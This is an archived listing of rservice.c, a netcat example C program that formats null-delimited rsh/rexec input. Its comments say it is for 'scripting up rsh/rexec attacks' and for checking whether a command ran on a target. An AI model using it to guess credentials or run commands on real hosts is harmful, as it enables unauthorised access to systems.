home *** CD-ROM | disk | FTP | other *** search
/ PC Welt 2006 November (DVD) / PCWELT_11_2006.ISO / casper / filesystem.squashfs / usr / share / doc / netcat / examples / data / rservice.c < prev    next >
Encoding:
C/C++ Source or Header  |  2006-06-19  |  1.4 KB  |  76 lines

  1. /* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up
  2.    rsh/rexec attacks.  Needs to be a prog because shells strip out nulls.
  3.  
  4.    args:
  5.     locuser remuser [cmd]
  6.     remuser passwd [cmd]
  7.  
  8.    cmd defaults to "pwd".
  9.  
  10.    ... whatever.  _H*/
  11.  
  12. #include <stdio.h>
  13.  
  14. /* change if you like; "id" is a good one for figuring out if you won too */
  15. static char cmd[] = "pwd";
  16.  
  17. static char buf [4096];
  18.  
  19. main(argc, argv)
  20.   int argc;
  21.   char * argv[];
  22. {
  23.   register int x;
  24.   register int y;
  25.   char * p;
  26.   char * q;
  27.  
  28.   p = buf;
  29.   memset (buf, 0, sizeof (buf));
  30.  
  31.   p++;                /* first null */
  32.   y = 1;
  33.  
  34.   if (! argv[1])
  35.     goto wrong;
  36.   strncpy (p, argv[1], sizeof (buf) - y); /* first arg plus another null */
  37.   x = strlen (argv[1]) + 1;
  38.   p += x;
  39.   y += x;
  40.   if (y >= sizeof (buf))
  41.     goto over;
  42.  
  43.   if (! argv[2])
  44.     goto wrong;
  45.   strncpy (p, argv[2], sizeof (buf) - y);    /* second arg plus null */
  46.   x = strlen (argv[2]) + 1;
  47.   p += x;
  48.   y += x;
  49.   if (y >= sizeof (buf))
  50.     goto over;
  51.  
  52.   q = cmd;
  53.   if (argv[3])
  54.     q = argv[3];
  55.   strncpy (p, q, sizeof (buf) - y); /* the command, plus final null */
  56.   x = strlen (q) + 1;
  57.   p += x;
  58.   y += x;
  59.   if (y >= sizeof (buf))
  60.     goto over;
  61.  
  62.   strncpy (p, "\n", sizeof (buf) - y); /* and a newline, so it goes */
  63.   y++;
  64.  
  65.   write (1, buf, y);        /* zot! */
  66.   exit (0);
  67.  
  68. wrong:
  69.   fprintf (stderr, "wrong!  needs 2 or more args.\n");
  70.   exit (1);
  71.  
  72. over:
  73.   fprintf (stderr, "out of memory!\n");
  74.   exit (1);
  75. }
  76.